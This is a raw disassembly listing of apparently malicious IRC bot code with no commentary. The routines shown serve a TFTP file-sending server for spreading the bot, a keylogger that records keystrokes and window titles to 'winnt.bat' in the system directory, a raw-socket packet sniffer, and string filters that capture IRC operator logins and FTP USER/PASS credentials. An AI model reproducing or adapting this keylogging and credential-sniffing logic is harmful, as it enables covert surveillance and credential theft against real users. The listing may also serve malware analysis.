		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4E41F8	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4E42AC	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_412661
		cmp	[ebp+var_CF], 1
		jnz	loc_412567
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		push	ebx		; Origin
		push	ebx		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_41EFA0
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4E4284	; sendto
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412555
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409D6C
		add	esp, 14h

loc_412555:				; CODE XREF: sub_41224F+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415C77
		pop	ecx
		jmp	loc_412677
; ---------------------------------------------------------------------------

loc_412567:				; CODE XREF: sub_41224F+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_412661
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_4125A4
		inc	al
		xor	cl, cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], bl
		jmp	short loc_4125B2
; ---------------------------------------------------------------------------

loc_4125A4:				; CODE XREF: sub_41224F+341j
		inc	cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], cl

loc_4125B2:				; CODE XREF: sub_41224F+353j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx		; Origin
		push	eax		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		push	edi		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		call	sub_41EFA0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4E4284	; sendto
		cmp	edi, ebx
		jnz	short loc_412677
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_41264C
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41264C:				; CODE XREF: sub_41224F+3D8j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415C77
		inc	dword_4E6D3C
		pop	ecx
		jmp	short loc_412677
; ---------------------------------------------------------------------------

loc_412661:				; CODE XREF: sub_41224F+24Aj
					; sub_41224F+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_44C788
		push	esi
		call	dword_4E4284	; sendto

loc_412677:				; CODE XREF: sub_41224F+1E9j
					; sub_41224F+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_4123DF
		mov	edi, [ebp+arg_0]

loc_412683:				; CODE XREF: sub_41224F+199j
		push	esi
		call	dword_4E42B8	; closesocket
		push	[ebp+File]	; File
		call	_fclose
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_4126B4
		push	[ebp+var_168]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_4126B4:				; CODE XREF: sub_41224F+450j
		push	3E8h
		call	ds:dword_4F6380	; Sleep
		push	edi

loc_4126C0:				; CODE XREF: sub_41224F+125j
		call	sub_41224F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41224F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4126CC(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_4126CC	proc near		; CODE XREF: sub_4127AD+B4p
					; sub_4127AD+253p

Dest		= byte ptr -314h
Filename	= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_4F6438	; GetLocalTime
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		call	ds:dword_4F637C	; GetSystemDirectoryA
		lea	eax, [ebp+Filename]
		push	offset asc_44CF04 ; "\\"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Filename]
		push	offset aWinnt_bat ; "winnt.bat"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Filename]
		push	offset aAb	; "ab"
		push	eax		; Filename
		call	_fopen
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_412733
		push	1
		pop	eax
		jmp	short loc_4127AA
; ---------------------------------------------------------------------------

loc_412733:				; CODE XREF: sub_4126CC+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi		; File
		call	_fprintf
		push	esi		; File
		call	_fclose
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4127A8
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset asc_44CF28 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 24h

loc_4127A8:				; CODE XREF: sub_4126CC+A3j
		xor	eax, eax

loc_4127AA:				; CODE XREF: sub_4126CC+65j
		pop	esi
		leave
		retn
sub_4126CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127AD	proc near		; DATA XREF: sub_401CC7+4580o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
Dest		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
Dst		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_4E41A4	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4E41BC	; GetWindowTextA
		mov	ebx, 200h

loc_412808:				; CODE XREF: sub_4127AD+2C7j
		push	8
		call	ds:dword_4F6380	; Sleep
		call	dword_4E41A4	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_412890
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4E41BC	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; int
		lea	eax, [ebp+Dest]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+Dest]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax		; int
		rep movsd
		call	sub_4126CC
		mov	[ebp+var_4], eax
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		lea	eax, [ebp+Dest]
		push	ebx		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch

loc_412890:				; CODE XREF: sub_4127AD+6Cj
		mov	[ebp+arg_0], offset dword_44C79C

loc_412897:				; CODE XREF: sub_4127AD+2BDj
		push	10h
		call	dword_4E40F4	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_4E41EC	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_41292F
		push	14h
		call	dword_4E40F4	; GetKeyState
		test	ax, ax
		jz	short loc_4128E0
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4128E0
		cmp	edi, 40h
		jle	short loc_4128E0
		cmp	edi, 5Bh
		jge	short loc_4128E0
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_412A5F
; ---------------------------------------------------------------------------

loc_4128E0:				; CODE XREF: sub_4127AD+112j
					; sub_4127AD+117j ...
		push	14h
		call	dword_4E40F4	; GetKeyState
		test	ax, ax
		jz	short loc_41290B
		test	esi, esi
		jge	short loc_41291F
		cmp	edi, 40h
		jle	short loc_41290B
		cmp	edi, 5Bh
		jge	short loc_41290B
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_412A5F
; ---------------------------------------------------------------------------

loc_41290B:				; CODE XREF: sub_4127AD+13Ej
					; sub_4127AD+147j ...
		test	esi, esi
		jge	short loc_41291F
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_412A5F
; ---------------------------------------------------------------------------

loc_41291F:				; CODE XREF: sub_4127AD+142j
					; sub_4127AD+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_412A5F
; ---------------------------------------------------------------------------

loc_41292F:				; CODE XREF: sub_4127AD+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_412A5F
		and	dword ptr [eax], 0
		lea	eax, [ebp+Dst]
		cmp	edi, 8
		push	eax		; Str
		jnz	short loc_412967
		call	_strlen
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_412A5F
; ---------------------------------------------------------------------------

loc_412967:				; CODE XREF: sub_4127AD+1A5j
		call	_strlen
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_412999
		call	dword_4E41A4	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4E41BC	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4129DA
; ---------------------------------------------------------------------------

loc_412999:				; CODE XREF: sub_4127AD+1C5j
		cmp	edi, 0Dh
		jnz	loc_412A31
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jz	loc_412A5F
		call	dword_4E41A4	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4E41BC	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_4129DA:				; CODE XREF: sub_4127AD+1EAj
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+Dest]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax		; int
		rep movsd
		call	sub_4126CC
		mov	[ebp+var_4], eax
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		lea	eax, [ebp+Dest]
		push	ebx		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		jmp	short loc_412A5F
; ---------------------------------------------------------------------------

loc_412A31:				; CODE XREF: sub_4127AD+1EFj
		cmp	esi, 1
		jz	short loc_412A4A
		cmp	esi, 3
		jz	short loc_412A4A
		cmp	esi, 2
		jz	short loc_412A45
		cmp	esi, 4
		jnz	short loc_412A5F

loc_412A45:				; CODE XREF: sub_4127AD+291j
		push	[ebp+arg_0]
		jmp	short loc_412A51
; ---------------------------------------------------------------------------

loc_412A4A:				; CODE XREF: sub_4127AD+287j
					; sub_4127AD+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax		; Source

loc_412A51:				; CODE XREF: sub_4127AD+29Bj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strcat
		pop	ecx
		pop	ecx

loc_412A5F:				; CODE XREF: sub_4127AD+12Ej
					; sub_4127AD+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_44CECC
		jl	loc_412897
		cmp	[ebp+var_4], 0
		jz	loc_412808
		push	[ebp+var_D8]
		call	sub_40BAAA
		pop	ecx
		push	0
		call	ds:dword_4F63D4	; ExitThread
sub_4127AD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A8E	proc near		; DATA XREF: sub_401CC7+41ABo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
Str		= byte ptr -1028Ch
Dest		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	__alloca_probe
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	esi
		call	dword_4E4220	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AFA9
		pop	ecx
		push	eax
		call	dword_4E4260	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_4E42A0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_412B63
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44D804 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412B46
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_412B46:				; CODE XREF: sub_412A8E+96j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_30]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_412B63:				; CODE XREF: sub_412A8E+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_457134[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E424C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412BE8
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44D830 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412BC4
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_412BC4:				; CODE XREF: sub_412A8E+114j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		push	edi
		call	dword_4E42B8	; closesocket
		push	[ebp+var_30]
		call	sub_40BAAA
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_412BE8:				; CODE XREF: sub_412A8E+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4E41CC	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412C6B
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44D85C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412C47
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_412C47:				; CODE XREF: sub_412A8E+197j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		push	edi
		call	dword_4E42B8	; closesocket
		push	[ebp+var_30]
		call	sub_40BAAA
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_412C6B:				; CODE XREF: sub_412A8E+177j
		push	ebx
		mov	ebx, offset a_login ; ":.login"

loc_412C71:				; CODE XREF: sub_412A8E+21Bj
					; sub_412A8E+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4E4238	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_412D9E
		cmp	[ebp+var_102AB], 6
		jnz	short loc_412C71
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_412C71
		lea	eax, [ebp+Str]
		push	offset aPsniff_0 ; "[PSNIFF]"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C71
		lea	eax, [ebp+Str]
		push	offset asc_44D8C4 ; "-"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C71
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	loc_412C71
		mov	[ebp+arg_0], ebx

loc_412CFA:				; CODE XREF: sub_412A8E+287j
		push	eax		; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D1C
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_412CFA
		jmp	loc_412C71
; ---------------------------------------------------------------------------

loc_412D1C:				; CODE XREF: sub_412A8E+27Dj
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4E4150	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_44CFAC[eax*8]
		push	off_44CF88[eax*4]
		lea	eax, [ebp+Dest]
		push	offset asc_44D8D4 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412D8C
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_412D8C:				; CODE XREF: sub_412A8E+2DCj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		jmp	loc_412C71
; ---------------------------------------------------------------------------

loc_412D9E:				; CODE XREF: sub_412A8E+20Ej
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		push	offset asc_44D88C ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_412DE4
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_412DE4:				; CODE XREF: sub_412A8E+334j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E42B8	; closesocket
		push	[ebp+var_30]
		call	sub_40BAAA
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
sub_412A8E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412E0A	proc near		; CODE XREF: sub_413119+213p
					; sub_413119+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4E6FD0, eax
		mov	eax, offset dword_4E6FD0
		retn
sub_412E0A	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412E19(char *Str)

sub_412E19	proc near		; CODE XREF: sub_413119+2BFp

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412E33

loc_412E2F:				; CODE XREF: sub_412E19+29j
					; sub_412E19+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412E33:				; CODE XREF: sub_412E19+14j
		push	offset aPiavnc	; "##piavnc##"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E2F
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E2F
		push	offset aPsniff_2 ; "PSNIFF//"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E2F
		push	offset aJoin_1	; "JOIN	#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412E7B

loc_412E77:				; CODE XREF: sub_412E19+71j
					; sub_412E19+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412E7B:				; CODE XREF: sub_412E19+5Cj
		push	offset a302	; "302 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E77
		push	offset a366	; "366 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E77
		push	offset a_login_0 ; ":.login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E77
		push	offset aLogin_0	; ":!login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E77
		push	offset aLogin_1	; ":!Login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E77
		push	offset a_login_1 ; ":.Login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E77
		push	offset a_ident	; ":.ident"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E77
		push	offset aIdent_0	; ":!ident"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412E77
		push	offset a_hashin	; ":.hashin"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412E77
		push	offset aHashin	; ":!hashin"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412E19	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412F30(char *Str)

sub_412F30	proc near		; CODE XREF: sub_413119+2F8p

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4A

loc_412F46:				; CODE XREF: sub_412F30+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F4A:				; CODE XREF: sub_412F30+14j
		push	offset aPiavnc	; "##piavnc##"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F46
		push	offset aOper	; "OPER	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F70

loc_412F6C:				; CODE XREF: sub_412F30+4Fj
					; sub_412F30+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F70:				; CODE XREF: sub_412F30+3Aj
		push	offset aNick_2	; "NICK	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F6C
		push	offset aOper_0	; "oper	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F6C
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412F30	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412FA6(char *Str)

sub_412FA6	proc near		; CODE XREF: sub_413119+32Ep

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412FC0

loc_412FBC:				; CODE XREF: sub_412FA6+29j
					; sub_412FA6+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412FC0:				; CODE XREF: sub_412FA6+14j
		push	offset aPiavnc	; "##piavnc##"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FBC
		push	offset aNick_3	; "NICK	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FBC
		push	offset a220	; "220 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412FF7

loc_412FF3:				; CODE XREF: sub_412FA6+60j
					; sub_412FA6+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412FF7:				; CODE XREF: sub_412FA6+4Bj
		push	offset a230	; "230 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FF3
		push	offset aUser_2	; "USER	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FF3
		push	offset aPass_0	; "PASS	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412FA6	endp


